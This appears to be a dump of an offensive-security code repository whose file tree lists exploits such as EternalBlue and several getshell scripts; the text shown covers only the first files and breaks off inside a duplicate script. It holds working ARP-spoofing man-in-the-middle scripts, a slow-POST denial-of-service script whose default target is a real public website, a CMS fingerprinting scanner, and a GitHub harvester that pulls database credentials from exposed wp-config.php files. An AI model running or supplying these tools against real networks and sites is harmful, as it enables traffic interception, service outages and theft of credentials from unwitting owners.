├── ARP Spoofing ├── ARP.py └── ARP2.py ├── CMS Detecting ├── README.MD ├── data.json └── gwhatweb.py ├── Dos attacking └── dos.py ├── Github Searching ├── githarvester.py └── github搜索.py ├── MS17-010 ├── exp.py ├── exploits │ └── eternalblue │ │ ├── eternalblue.dat │ │ └── eternalblue.py ├── ms17-10.py ├── payloads │ └── x64 │ │ ├── bin │ │ ├── createthread.bin │ │ ├── doublepulsar.bin │ │ └── kernel.bin │ │ ├── build.py │ │ └── src │ │ ├── block │ │ ├── block_api_direct.asm │ │ └── block_find_dll.asm │ │ ├── exploit │ │ ├── constants.asm │ │ ├── doublepulsar.asm │ │ └── kernel.asm │ │ ├── kernel │ │ ├── calc_thread_delta.asm │ │ ├── find_nt_idt.asm │ │ ├── find_process_name.asm │ │ └── insert_queue_apc.asm │ │ └── single │ │ ├── calc_hash.asm │ │ └── createthread.asm ├── poc.py ├── scanners │ ├── smb_ms17_010.py │ └── smb_ms17_010.rb └── test ├── PHP-FPM Fastcgi漏洞 ├── fpm.py └── packert.txt ├── README.md ├── S2-045漏洞 └── getshell.py ├── Samba_3.5.0 └── rce.py ├── Weblogic爆破 ├── brute.txt ├── ip.txt ├── weblogic.py ├── weblogic2.py └── zoomeye.py ├── WordPress_4.7.1漏洞 ├── REST_API.py └── content ├── Zoomeye ├── ip.txt └── zoomeye.py ├── phpcms_9.6.0漏洞 ├── phpcms9.6.0.txt ├── phpcms9.6.0GetShell_v0.1.py └── phpcms9.6.0GetShell_v0.2(批量).py └── 端口扫描 └── MTPort.py /ARP Spoofing/ARP.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import os 4 | import sys 5 | import signal 6 | from scapy.all import * 7 | from optparse import OptionParser 8 | 9 | 10 | def main(): 11 | 12 | try : 13 | if os.geteuid() != 0 : 14 | print "[-] Run me as root" 15 | sys.exit(1) 16 | 17 | except Exception,msg : 18 | print msg 19 | 20 | usage = 'Usage: %prog [-i interface] [-t target] host' 21 | parser = OptionParser(usage) 22 | parser.add_option('-i', dest='interface', help='Specify the interface to use') 23 | parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison') 24 | parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]') 25 | parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') 26 | (options, args) = parser.parse_args() 27 | 28 | if len(args) != 1 or options.interface is None : 29 | parser.print_help() 30 | sys.exit(0) 31 | 32 | mac = get_if_hwaddr(options.interface) 33 | 34 | 35 | def build_req() : 36 | 37 | if options.target is None : 38 | pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) 39 | 40 | elif options.target : 41 | target_mac = getmacbyip(options.target) 42 | if target_mac is None : 43 | print "[-] Error: Could not resolve targets MAC address" 44 | sys.exit(1) 45 | pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) 46 | 47 | return pkt 48 | 49 | 50 | def build_rep() : 51 | 52 | if options.target is None : 53 | pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) 54 | 55 | elif options.target : 56 | target_mac = getmacbyip(options.target) 57 | if target_mac is None : 58 | print "[-] Error: Could not resolve targets MAC address" 59 | sys.exit(1) 60 | pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) 61 | 62 | return pkt 63 | 64 | 65 | if options.mode == 'req' : 66 | pkt = build_req() 67 | 68 | elif options.mode == 'rep' : 69 | pkt = build_rep() 70 | 71 | if options.summary is True : 72 | pkt.show() 73 | ans = raw_input('\n[*] Continue? [Y|n]: ').lower() 74 | 75 | if ans == 'y' or len(ans) == 0 : 76 | pass 77 | 78 | else : 79 | sys.exit(0) 80 | 81 | while True : 82 | sendp(pkt, inter=2, iface=options.interface) 83 | 84 | if __name__ == '__main__' : 85 | main() 86 | -------------------------------------------------------------------------------- /ARP Spoofing/ARP2.py: -------------------------------------------------------------------------------- 1 | #--*--coding=utf-8--*-- 2 | 3 | from scapy.all import * 4 | import optparse 5 | import threading 6 | 7 | #解决在linux系统上运行时报的unicode编码相关错误 8 | import sys 9 | reload(sys) 10 | sys.setdefaultencoding('utf-8') 11 | 12 | 13 | def getMac(tgtIP): 14 | ''' 15 | 调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。 16 | ''' 17 | try: 18 | tgtMac = getmacbyip(tgtIP) 19 | return tgtMac 20 | except: 21 | print '[-]请检查目标IP是否存活' 22 | 23 | def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP): 24 | ''' 25 | 生成ARP数据包,伪造网关欺骗目标计算机 26 | srcMac:本机的MAC地址,充当中间人 27 | tgtMac:目标计算机的MAC 28 | gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击 29 | tgtIP:目标计算机的IP 30 | op=2,表示ARP响应 31 | ''' 32 | pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2) 33 | return pkt 34 | 35 | def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP): 36 | ''' 37 | 生成ARP数据包,伪造目标计算机欺骗网关 38 | srcMac:本机的MAC地址,充当中间人 39 | gatewayMac:网关的MAC 40 | tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击 41 | gatewayIP:网关的IP 42 | op=2,表示ARP响应 43 | ''' 44 | pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2) 45 | return pkt 46 | 47 | 48 | def main(): 49 | usage = 'Usage: %prog -t -g -i -a' 50 | parser = optparse.OptionParser(usage,version='v1.0') 51 | parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP') 52 | parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP') 53 | parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡') 54 | parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗') 55 | 56 | options,args = parser.parse_args() 57 | tgtIP = options.targetIP 58 | gatewayIP = options.gatewayIP 59 | interface = options.interface 60 | 61 | if tgtIP == None or gatewayIP == None or interface == None: 62 | print parser.print_help() 63 | exit(0) 64 | 65 | srcMac = get_if_hwaddr(interface) 66 | print '本机MAC地址是:',srcMac 67 | tgtMac = getMac(tgtIP) 68 | print '目标计算机MAC地址是:',tgtMac 69 | gatewayMac = getMac(gatewayIP) 70 | print '网关MAC地址是:',gatewayMac 71 | raw_input('按任意键继续:') 72 | 73 | 74 | pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP) 75 | pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP) 76 | 77 | 78 | i = 1 79 | while True: 80 | t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface}) 81 | t.start() 82 | t.join() 83 | print str(i) + ' [*]发送一个计算机ARP欺骗包' 84 | 85 | s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,}) 86 | s.start() 87 | s.join() 88 | print str(i) + ' [*]发送一个网关ARP欺骗包' 89 | i += 1 90 | 91 | 92 | 93 | if __name__ == '__main__': 94 | main() 95 | -------------------------------------------------------------------------------- /CMS Detecting/README.MD: -------------------------------------------------------------------------------- 1 | # gwhatweb 2 | - 网站CMS识别,1400+指纹库 json格式 MD5+关键词匹配 3 | - python >= 2.7 4 | - python 协程 5 | ### Requement 6 | - ` pip install requests,gevent` 7 | - 也可以安装 `pip install grequests ` 8 | 9 | ### Useage 10 | - python gwhatweb.py http://wwww.xxxx.com -------------------------------------------------------------------------------- /CMS Detecting/gwhatweb.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json,hashlib,sys 3 | import gevent 4 | from gevent.queue import Queue 5 | import time 6 | 7 | class gwhatweb(object): 8 | def __init__(self,url): 9 | self.tasks = Queue() 10 | self.url = url.rstrip("/") 11 | fp = open('data.json') 12 | webdata = json.load(fp, encoding="utf-8") 13 | for i in webdata: 14 | self.tasks.put(i) 15 | fp.close() 16 | print("webdata total:%d"%len(webdata)) 17 | 18 | def _GetMd5(self,body): 19 | m2 = hashlib.md5() 20 | m2.update(body) 21 | return m2.hexdigest() 22 | 23 | def _clearQueue(self): 24 | while not self.tasks.empty(): 25 | self.tasks.get() 26 | 27 | def _worker(self): 28 | data = self.tasks.get() 29 | test_url = self.url + data["url"] 30 | rtext = '' 31 | try: 32 | r = requests.get(test_url,timeout=10) 33 | if (r.status_code != 200): 34 | return 35 | rtext = r.text 36 | if rtext is None: 37 | return 38 | except: 39 | rtext = '' 40 | 41 | if data["re"]: 42 | if (rtext.find(data["re"]) != -1): 43 | result = data["name"] 44 | print("CMS:%s Judge:%s re:%s" % (result, test_url, data["re"])) 45 | self._clearQueue() 46 | return True 47 | else: 48 | md5 = self._GetMd5(rtext) 49 | if (md5 == data["md5"]): 50 | result = data["name"] 51 | print("CMS:%s Judge:%s md5:%s" % (result, test_url, data["md5"])) 52 | self._clearQueue() 53 | return True 54 | 55 | 56 | def _boss(self): 57 | while not self.tasks.empty(): 58 | self._worker() 59 | 60 | def whatweb(self,maxsize=100): 61 | start = time.clock() 62 | allr = [gevent.spawn(self._boss) for i in range(maxsize)] 63 | gevent.joinall(allr) 64 | end = time.clock() 65 | print ("cost: %f s" % (end - start)) 66 | 67 | if __name__ == '__main__': 68 | if len(sys.argv) < 2: 69 | print("usag:python gwhatweb.py http://www.xxx.com") 70 | else: 71 | url = sys.argv[1] 72 | g = gwhatweb(url) 73 | g.whatweb(1000) -------------------------------------------------------------------------------- /Dos attacking/dos.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import time 3 | import threading 4 | 5 | #Pressure Test,ddos tool 6 | #--------------------------- 7 | #MAX_CONN=20000 8 | MAX_CONN=5 9 | PORT=80 10 | HOST="www.baidu.com" 11 | PAGE="/index.php" 12 | #--------------------------- 13 | 14 | buf=("POST %s HTTP/1.1\r\n" 15 | "Host: %s\r\n" 16 | "Content-Length: 10000000\r\n" 17 | "Cookie: dklkt_dos_test\r\n" 18 | "\r\n" % (PAGE,HOST)) 19 | 20 | socks=[] 21 | 22 | def conn_thread() : 23 | 24 | global socks 25 | 26 | for i in range(0,MAX_CONN) : 27 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 28 | try : 29 | s.connect((HOST,PORT)) 30 | s.send(buf) 31 | print "Send buf OK!,conn=%d\n"%i 32 | socks.append(s) 33 | except Exception,ex : 34 | print "Could not connect to server or send error:%s"%ex 35 | time.sleep(10) 36 | 37 | 38 | def send_thread() : 39 | 40 | global socks 41 | 42 | while True : 43 | for s in socks : 44 | try: 45 | s.send("f") 46 | print "send OK!" 47 | except Exception,ex : 48 | print "Send Exception:%s\n"%ex 49 | socks.remove(s) 50 | s.close() 51 | time.sleep(1) 52 | 53 | 54 | conn_th=threading.Thread(target=conn_thread,args=()) 55 | send_th=threading.Thread(target=send_thread,args=()) 56 | 57 | conn_th.start() 58 | send_th.start() 59 | -------------------------------------------------------------------------------- /Github Searching/githarvester.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Import all the things! 4 | import sys 5 | import os 6 | try: 7 | import argparse 8 | except: 9 | print '[!] argparse is not installed. Try "pip install argparse"' 10 | sys.exit(0) 11 | try: 12 | from urllib import urlopen 13 | from urllib import urlretrieve 14 | from urllib import urlencode 15 | except: 16 | print '[!] urllib is not installed. Try "pip install urllib"' 17 | sys.exit(0) 18 | try: 19 | from bs4 import BeautifulSoup 20 | except: 21 | print '[!] BeautifulSoup is not installed. Try "pip install beautifulsoup4"' 22 | sys.exit(0) 23 | try: 24 | import re 25 | except: 26 | print '[!] re is not installed. Try "pip install re"' 27 | sys.exit(0) 28 | try: 29 | import pycurl 30 | except: 31 | print '[!] pycurl is not installed. Try "pip install pycurl"' 32 | sys.exit(0) 33 | 34 | # Display Startup Banner 35 | def banner(): 36 | print "" 37 | print " _____ _ _ _ _ _" 38 | print " / ____(_) | | | | | | |" 39 | print "| | __ _| |_ | |__| | __ _ _ ____ _____ ___| |_ ___ _ __ " 40 | print "| | |_ | | __| | __ |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|" 41 | print "| |__| | | |_ | | | | (_| | | \ V / __/\__ \ || __/ | " 42 | print " \_____|_|\__| |_| |_|\__,_|_| \_/ \___||___/\__\___|_| " 43 | print "" 44 | print "Version 0.8" 45 | print "By: @metacortex of @dc801" 46 | print "" 47 | 48 | # Parse GitHub search results 49 | def githubsearch(search, regex, order, sort, account, project): 50 | 51 | navbarlinks = [] 52 | if project: 53 | githubbase = 'https://github.com/' + account + '/' + project + '/search?' 54 | else: 55 | githubbase = 'https://github.com/search?' 56 | if account: 57 | search = 'user:' + account + ' ' + search 58 | githubsearchurl = {'o' : order, 'q' : search, 's' : sort, 'type' : 'Code', 'ref' : 'searchresults'} 59 | searchurl = githubbase + str(urlencode(githubsearchurl)) 60 | if (order == 'asc'): 61 | print '[+] Searching Github for ' + search + ' and ordering by OLDEST' 62 | print searchurl 63 | elif (order == 'desc'): 64 | print '[+] Searching Github for ' + search + ' and ordering by NEWEST' 65 | print searchurl 66 | else: 67 | print '[+] Searching Github for ' + search + ' and ordering by BEST MATCH' 68 | print searchurl 69 | searchresults = urlopen(searchurl).read() 70 | soup = BeautifulSoup(searchresults, 'html.parser') 71 | 72 | # Find the bottom nav bar and parse out those links 73 | pagenav = soup.findAll('div', attrs={'class':'pagination'}) 74 | if pagenav: 75 | for page in pagenav: 76 | pages = page.findAll('a') 77 | for a in pages: 78 | navbarlinks.append(a) 79 | try: 80 | totalpages = int(str(re.findall(r">.*", str(navbarlinks[-2]))).strip('[').strip(']').strip('\'').strip('>').strip('')) # Because I suck at code 81 | except IndexError: 82 | print ' [!] Search error' 83 | sys.exit(0) 84 | print ' [+] Returned ' + str(totalpages) + ' total pages' 85 | 86 | # Parse each page of results 87 | currentpage = 1 88 | while (currentpage <= totalpages): 89 | parseresultpage(currentpage, search, order, sort, regex, account, project) 90 | currentpage += 1 91 | else: 92 | print ' [+] Only one page of results' 93 | parseresultpage(1, search, order, sort, regex, account, project) 94 | 95 | def parseresultpage(page, search, order, sort, regex, account, project): 96 | print ' [+] Pulling results from page ' + str(page) 97 | if project: 98 | githubbase = 'https://github.com/' + account + '/' + project + '/search?' 99 | else: 100 | githubbase = 'https://github.com/search?' 101 | githubsearchurl = {'o' : order, 'p' : page, 'q' : search, 's' : sort, 'type' : 'Code', 'ref' : 'searchresults'} 102 | searchurl = githubbase + str(urlencode(githubsearchurl)) 103 | pagehtml = urlopen(searchurl).read() 104 | soup = BeautifulSoup(pagehtml, 'html.parser') 105 | 106 | # Find GitHub div with code results 107 | results = soup.findAll('div', attrs={'class':'code-list-item'}) 108 | 109 | # Pull url's from results and hit each of them 110 | soup1 = BeautifulSoup(str(results), 'html.parser') 111 | for item in soup1.findAll('p', attrs={'class':'title'}): 112 | soup2 = BeautifulSoup(str(item), 'html.parser') 113 | try: 114 | individualresult = soup2.findAll('a')[1] 115 | except: 116 | individualresult = soup2.findAll('a')[0] 117 | individualresulturl = 'https://github.com/' + str(individualresult['href']) 118 | individualresultpage = urlopen(individualresulturl).read() 119 | soup3 = BeautifulSoup(str(individualresultpage), 'html.parser') 120 | for rawlink in soup3.findAll('a', attrs={'id':'raw-url'}): 121 | rawurl = 'https://github.com' + str(rawlink['href']) 122 | if (args.custom_regex): 123 | searchcode(rawurl, regex) 124 | else: 125 | wpsearchcode(rawurl, regex) 126 | 127 | def searchcode(url, regex): 128 | code = urlopen(url).read() 129 | result = '' 130 | try: 131 | regexresults = re.search(regex, str(code)) 132 | result = str(regexresults.group(0)) 133 | if result is not None: 134 | if (args.url == True): 135 | print " " + str(url) 136 | if (args.verbose == True): 137 | print " [+] Found the following results" 138 | print " " + str(result) 139 | if args.write_file: 140 | if (result == ''): 141 | pass 142 | else: 143 | f = open(args.write_file, 'a') 144 | f.write(str(result + '\n')) 145 | f.close() 146 | 147 | 148 | if args.directory: 149 | filename = args.directory + "/" + url.replace('/', '-') 150 | if not os.path.exists(args.directory): 151 | os.makedirs(args.directory) 152 | print " [+] Downloading " + filename 153 | urlretrieve(url, filename) 154 | fp = open(filename, 'wb') 155 | fp.write(code) 156 | fp.close() 157 | else: 158 | pass 159 | except: 160 | pass 161 | 162 | #This whole function is confusing as hell FYI 163 | def wpsearchcode(url, regex): 164 | code = urlopen(url).read() 165 | try: 166 | regexdb = re.search(r"define\(\'DB_NAME.*;", str(code), re.IGNORECASE) 167 | regexuser = re.search(r"define\(\'DB_USER.*;", str(code), re.IGNORECASE) 168 | regexpass = re.search(r"define\(\'DB_PASSWORD.*;", str(code), re.IGNORECASE) 169 | regexhost = re.search(r"define\(\'DB_HOST.*;", str(code), re.IGNORECASE) 170 | db = str(regexdb.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_NAME:') 171 | user = str(regexuser.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_USER:') 172 | password = str(regexpass.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_PASSWORD:') 173 | host = str(regexhost.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_HOST:') 174 | 175 | if (db == '\', '): # Check for blank database because...shitty code 176 | db = '' 177 | if (user == '\', '): # Check for blank user because...shitty code 178 | user = '' 179 | if (password == '\', '): # Check for blank password because...shitty code 180 | password = '' 181 | if (host == '\', '): # Check for blank host because...shitty code 182 | host = '' 183 | 184 | if (args.verbose == True): 185 | print ' [+] Found the following credentials' 186 | if (args.url == True): 187 | print ' ' + str(url) 188 | print ' database: ' + db 189 | print ' user: ' + user 190 | print ' password: ' + password 191 | print ' host: ' + host 192 | 193 | if args.write_file: 194 | f = open(args.write_file, 'a') 195 | results = 'Database: ' + db + '\nUser: ' + user + '\nPassword: ' + password + '\nHost: ' + host + '\n---\n' 196 | f.write(results) 197 | f.close() 198 | 199 | except: 200 | pass 201 | 202 | 203 | def main(): 204 | banner() # Brandwhore 205 | 206 | # Parsing arguments 207 | parser = argparse.ArgumentParser(description='This tool is used for harvesting information from GitHub. By default it looks for code with the filename of \'wp-config.php\' and pulls out auth info') 208 | parser.add_argument('-a', action='store', dest='account', help='Specify a specific user account', type=str) 209 | parser.add_argument('-d', action='store', dest='directory', help='Download results to a specific directory', type=str) 210 | parser.add_argument('-o', action='store', dest='organize', help='Organize results by \'new\', \'old\', \'best\', or \'all\'', type=str) 211 | parser.add_argument('-p', action='store', dest='project', help='Specific project to search. Use with -a', type=str) 212 | parser.add_argument('-r', action='store', dest='custom_regex', help='Custom regex string', type=str) 213 | parser.add_argument('-s', action='store', dest='custom_search', help='Custom GitHub search string', type=str) 214 | parser.add_argument('-u', '--url', action='store_true', help='Output URL of found object') 215 | parser.add_argument('-v', '--verbose', action='store_true', help='Turn verbose output on. This will output matched lines') 216 | parser.add_argument('-w', action='store', dest='write_file', help='Write results to a file', type=str) 217 | global args 218 | args = parser.parse_args() 219 | 220 | if not len(sys.argv) > 1: 221 | args.verbose = True 222 | if (args.project): 223 | if not args.account: 224 | print '[!] Need -u for -p' 225 | parser.print_help() 226 | sys.exit(0) 227 | 228 | if args.account: 229 | account = args.account 230 | print '[+] Searching the account ' + account 231 | if args.project: 232 | project = args.project 233 | print '[+] Searching the ' + project + ' project' 234 | else: 235 | project = None 236 | else: 237 | account = None 238 | project = None 239 | if args.custom_search: 240 | search = args.custom_search 241 | print '[+] Custom search is: ' + str(search) 242 | else: 243 | search = 'filename:wp-config.php' 244 | print '[+] Using default search' 245 | if args.custom_regex: 246 | regex = args.custom_regex 247 | print '[+] Custom regex is: ' + str(regex) 248 | else: 249 | regex = 'regexhere' 250 | print '[+] Using default regex' 251 | 252 | if (args.organize == 'new'): 253 | githubsearch(search, regex, 'desc', 'indexed', account, project) 254 | elif (args.organize == 'old'): 255 | githubsearch(search, regex, 'asc', 'indexed', account, project) 256 | elif (args.organize == 'best'): 257 | githubsearch(search, regex, '', '', account, project) 258 | elif (args.organize == 'all'): 259 | githubsearch(search, regex, '', '', account, project) 260 | githubsearch(search, regex, 'desc', 'indexed', account, project) 261 | githubsearch(search, regex, 'asc', 'indexed', account, project) 262 | else: 263 | githubsearch(search, regex, '', '', account, project) 264 | 265 | print '[+] DONE' 266 | 267 | try: 268 | if __name__ == "__main__": 269 | main() 270 | except KeyboardInterrupt: 271 | print "[!] Keyboard Interrupt. Shutting down" 272 | -------------------------------------------------------------------------------- /Github Searching/github搜索.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Import all the things! 4 | import sys 5 | import os 6 | try: 7 | import argparse 8 | except: 9 | print '[!] argparse is not installed. Try "pip install argparse"' 10 | sys.exit(0) 11 | try: 12 | from urllib import urlopen 13 | from urllib import urlretrieve 14 | from urllib import urlencode 15 | except: 16 | print '[!] urllib is not installed. Try "pip install urllib"' 17 | sys.exit(0) 18 | try: 19 | from bs4 import BeautifulSoup 20 | except: 21 | print '[!] BeautifulSoup is not installed. Try "pip install beautifulsoup4"' 22 | sys.exit(0) 23 | try: 24 | import re 25 | except: 26 | print '[!] re is not installed. Try "pip install re"' 27 | sys.exit(0) 28 | try: 29 | import pycurl 30 | except: 31 | print '[!] pycurl is not installed. Try "pip install pycurl"' 32 | sys.exit(0) 33 | 34 | # Display Startup Banner 35 | def banner(): 36 | print "" 37 | print " _____ _ _ _ _ _" 38 | print " / ____(_) | | | | | | |" 39 | print "| | __ _| |_ | |__| | __ _ _ ____ _____ ___| |_ ___ _ __ " 40 | print "| | |_ | | __| | __ |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|" 41 | print "| |__| | | |_ | | | | (_| | | \ V / __/\__ \ || __/ | " 42 | print " \_____|_|\__| |_| |_|\__,_|_| \_/ \___||___/\__\___|_| " 43 | print "" 44 | print "Version 0.8" 45 | print "By: @metacortex of @dc801" 46 | print "" 47 | 48 | # Parse GitHub search results 49 | def githubsearch(search, regex, order, sort, account, project): 50 | 51 | navbarlinks = [] 52 | if project: 53 | githubbase = 'https://github.com/' + account + '/' + project + '/search?' 54 | else: 55 | githubbase = 'https://github.com/search?' 56 | if account: 57 | search = 'user:' + account + ' ' + search 58 | githubsearchurl = {'o' : order, 'q' : search, 's' : sort, 'type' : 'Code', 'ref' : 'searchresults'} 59 | searchurl = githubbase + str(urlencode(githubsearchurl)) 60 | if (order == 'asc'): 61 | print '[+] Searching Github for ' + search + ' and ordering by OLDEST' 62 | print searchurl 63 | elif (order == 'desc'): 64 | print '[+] Searching Github for ' + search + ' and ordering by NEWEST' 65 | print searchurl 66 | else: 67 | print '[+] Searching Github for ' + search + ' and ordering by BEST MATCH' 68 | print searchurl 69 | searchresults = urlopen(searchurl).read() 70 | soup = BeautifulSoup(searchresults, 'html.parser') 71 | 72 | # Find the bottom nav bar and parse out those links 73 | pagenav = soup.findAll('div', attrs={'class':'pagination'}) 74 | if pagenav: 75 | for page in pagenav: 76 | pages = page.findAll('a') 77 | for a in pages: 78 | navbarlinks.append(a) 79 | try: 80 | totalpages = int(str(re.findall(r">.*", str(navbarlinks[-2]))).strip('[').strip(']').strip('\'').strip('>').strip('')) # Because I suck at code 81 | except IndexError: 82 | print ' [!] Search error' 83 | sys.exit(0) 84 | print ' [+] Returned ' + str(totalpages) + ' total pages' 85 | 86 | # Parse each page of results 87 | currentpage = 1 88 | while (currentpage <= totalpages): 89 | parseresultpage(currentpage, search, order, sort, regex, account, project) 90 | currentpage += 1 91 | else: 92 | print ' [+] Only one page of results' 93 | parseresultpage(1, search, order, sort, regex, account, project) 94 | 95 | def parseresultpage(page, search, order, sort, regex, account, project): 96 | print ' [+] Pulling results from page ' + str(page) 97 | if project: 98 | githubbase = 'https://github.com/' + account + '/' + project + '/search?' 99 | else: 100 | githubbase = 'https://github.com/search?' 101 | githubsearchurl = {'o' : order, 'p' : page, 'q' : search, 's' : sort, 'type' : 'Code', 'ref' : 'searchresults'} 102 | searchurl = githubbase + str(urlencode(githubsearchurl)) 103 | pagehtml = urlopen(searchurl).read() 104 | soup = BeautifulSoup(pagehtml, 'html.parser') 105 | 106 | # Find GitHub div with code results 107 | results = soup.findAll('div', attrs={'class':'code-list-item'}) 108 | 109 | # Pull url's from results and hit each of them 110 | soup1 = BeautifulSoup(str(results), 'html.parser') 111 | for item in soup1.findAll('p', attrs={'class':'title'}): 112 | soup2 = BeautifulSoup(str(item), 'html.parser') 113 | try: 114 | individualresult = soup2.findAll('a')[1] 115 | except: 116 | individualresult = soup2.findAll('a')[0] 117 | individualresulturl = 'https://github.com/' + str(individualresult['href']) 118 | individualresultpage = urlopen(individualresulturl).read() 119 | soup3 = BeautifulSoup(str(individualresultpage), 'html.parser') 120 | for rawlink in soup3.findAll('a', attrs={'id':'raw-url'}): 121 | rawurl = 'https://github.com' + str(rawlink['href']) 122 | if (args.custom_regex): 123 | searchcode(rawurl, regex) 124 | else: 125 | wpsearchcode(rawurl, regex) 126 | 127 | def searchcode(url, regex): 128 | code = urlopen(url).read() 129 | result = '' 130 | try: 131 | regexresults = re.search(regex, str(code)) 132 | result = str(regexresults.group(0)) 133 | if result is not None: 134 | if (args.url == True): 135 | print " " + str(url) 136 | if (args.verbose == True): 137 | print " [+] Found the following results" 138 | print " " + str(result) 139 | if args.write_file: 140 | if (result == ''): 141 | pass 142 | else: 143 | f = open(args.write_file, 'a') 144 | f.write(str(result + '\n')) 145 | f.close() 146 | 147 | 148 | if args.directory: 149 | filename = args.directory + "/" + url.replace('/', '-') 150 | if not os.path.exists(args.directory): 151 | os.makedirs(args.directory) 152 | print " [+] Downloading " + filename 153 | urlretrieve(url, filename) 154 | fp = open(filename, 'wb') 155 | fp.write(code) 156 | fp.close() 157 | else: 158 | pass 159 | except: 160 | pass 161 | 162 | #This whole function is confusing as hell FYI 163 | def wpsearchcode(url, regex): 164 | code = urlopen(url).read() 165 | try: 166 | regexdb = re.search(r"define\(\'DB_NAME.*;", str(code), re.IGNORECASE) 167 | regexuser = re.search(r"define\(\'DB_USER.*;", str(code), re.IGNORECASE) 168 | regexpass = re.search(r"define\(\'DB_PASSWORD.*;", str(code), re.IGNORECASE) 169 | regexhost = re.search(r"define\(\'DB_HOST.*;", str(code), re.IGNORECASE) 170 | db = str(regexdb.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_NAME:') 171 | user = str(regexuser.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_USER:') 172 | password = str(regexpass.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_PASSWORD:') 173 | host = str(regexhost.group(0)).strip('define(\'').strip('\');').replace('\', \'', ':').strip('DB_HOST:') 174 | 175 | if (db == '\', '): # Check for blank database because...shitty code 176 | db = '' 177 | if (user == '\', '): # Check for blank user because...shitty code 178 | user = '' 179 | if (password == '\', '): # Check for blank password because...shitty code 180 | password = '' 181 | if (host == '\', '): # Check for blank host because...shitty code 182 | host = '' 183 | 184 | if (args.verbose == True): 185 | print ' [+] Found the following credentials' 186 | if (args.url == True): 187 | print ' ' + str(url) 188 | print ' database: ' + db 189 | print ' user: ' + user 190 | print ' password: ' + password 191 | print ' host: ' + host 192 | 193 | if args.write_file: 194 | f = open(args.write_file, 'a') 195 | results = 'Database: ' + db + '\nUser: ' + user + '\nPassword: ' + password + '\nHost: ' + host + '\n---\n' 196 | f.write(results) 197 | f.close() 198 | 199 | except: 200 | pass 201 | 202 | 203 | def main(): 204 | banner() # Brandwhore 205 | 206 | # Parsing arguments 207 | parser = argparse.ArgumentParser(description='This tool is used for harvesting information from GitHub. By default it looks for code with the filename of \'wp-config.php\' and pulls out auth info') 208 | parser.add_argument('-a', action='store', dest='account', help='Specify a specific user account', type=str) 209 | parser.add_argument('-d', action='store', dest='directory', help='Download results to a specific directory', type=str) 210 | parser.add_argument('-o', action='store', dest='organize', help='Organize results by \'new\', \'old\', \'best\', or \'all\'', type=str) 211 | parser.add_argument('-p', action='store', dest='project', help='Specific project to search. Use with -a', type=str) 212 | parser.add_argument('-r', action='store', dest='custom_regex', help='Custom regex string', type=str) 213 | parser.add_argument('-s', action='store', dest='custom_search', help='Custom GitHub search string', type=str) 214 | parser.add_argument('-u', '--url', action='store_true', help='Output URL of found object') 215 | parser.add_argument('-v', '--verbose', action='store_true', help='Turn verbose output on. This will output matched lines') 216 | parser.add_argument('-w', action='store', dest='write_file', help='Write results to a file', type=str) 217 | global args 218 | args = parser.parse_args() 219 | 220 | if not len(sys.argv) > 1: 221 | args.verbose = True 222 | if (args.project): 223 | if not args.account: 224 | print '[!] Need -u for -p' 225 | parser.print_help() 226 | sys.exit(0) 227 | 228 | if args.account: 229 | account = args.account 230 | print '[+] Searching the account ' + account 231 | if args.project: 232 | project = args.project 233 | print '[+] Searching the ' + project + ' project' 234 | else: 235 | project = None 236 | else: 237 | account = None 238 | project = None 239 | if args.custom_search: 240 | search = args.custom_search 241 | print '[+] Custom search is: ' + str(search) 242 | else: 243 | search = 'filename:wp-config.php' 244 | print '[+] Using default search' 245 | if args.custom_regex: 246 | regex = args.custom_regex 247 | print '[+] Custom regex is: ' + str(regex) 248 | else: 249 | regex = 'regexhere' 250 | print '[+] Using default regex' 251 | 252 | if (args.organize == 'new'): 253 | githubsearch(search, regex, 'desc', 'indexed', account, project) 254 | elif (args.organize == 'old'): 255 | githubsearch(search, regex, 'asc', 'indexed', account, project) 256 | elif (args.organize == 